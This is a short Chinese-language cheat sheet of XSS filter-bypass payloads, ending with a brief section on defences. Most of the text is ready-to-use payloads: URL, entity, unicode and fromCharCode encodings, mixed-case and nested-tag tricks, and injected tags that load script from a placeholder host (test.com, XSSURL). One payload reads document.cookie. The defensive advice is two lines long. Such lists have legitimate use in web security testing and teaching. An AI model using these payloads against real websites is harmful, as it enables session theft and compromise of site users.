0x00 绕过

1、编码绕过:

URL全编码: <script> -> %3c%73%63%72%69%70%74%3e

URL二次编码: <script> -> %253Cscript%253E

HTML实体编码:<img src=&#8220;&#8221; onerror=alert(1)>

unicode编码: \u003cimg src="" onerror=alert(1)\u003e

base16编码: <img src="" onerror=alert\x281\x29>

String.fromCharCode替换所有字符:String.fromCharCode(60,105,109....)

2、变形绕过:

1
2
3
大小写混合: <ScRiPt>aLERt(1)<scRiPT>

过滤一次绕过: <scr<script>ipt>alealertrt(1)<scr<script>ipt>

3、加载外部js绕过:

1
2
3
4
" οnlοad="with(document)body.appendChild(createElement('script')).src='http://www.test.com/test.js'"


<script>src="http://www.test.com/test.js"</script>

4、行内样式绕过:

1
<div style="color:expression(alert(1))">

5、不用JS达到XSS攻击:

1
<meta http-equiv="refresh" content="1;url=http://www.bing.com/">//页面1秒后刷新并跳转到指定URL

6、其他整理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</tExtArEa>'"><sCRiPt sRC=XSSURL></sCrIpT>

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>

1"><details open ontoggle=top['alert'](1)>

<script src=data:,alert(document.cookie);//'

' onfocus=alert(1) autofocus //

"><svg/onload=alert()>

"><img/src=x onerror=alert(1)>

"-prompt(1)-"

绕过onXXXX <object onbeforescriptexecute=confirm(0)>

0x01 防范

限制输入、转义输出

对用户的输入数据进行关键字过滤,如过滤掉 < 、 > 、 ‘ 、 “ 等危险字符

对一切输出的数据进行HTML实体编码对一切输出的数据进行HTML实体编码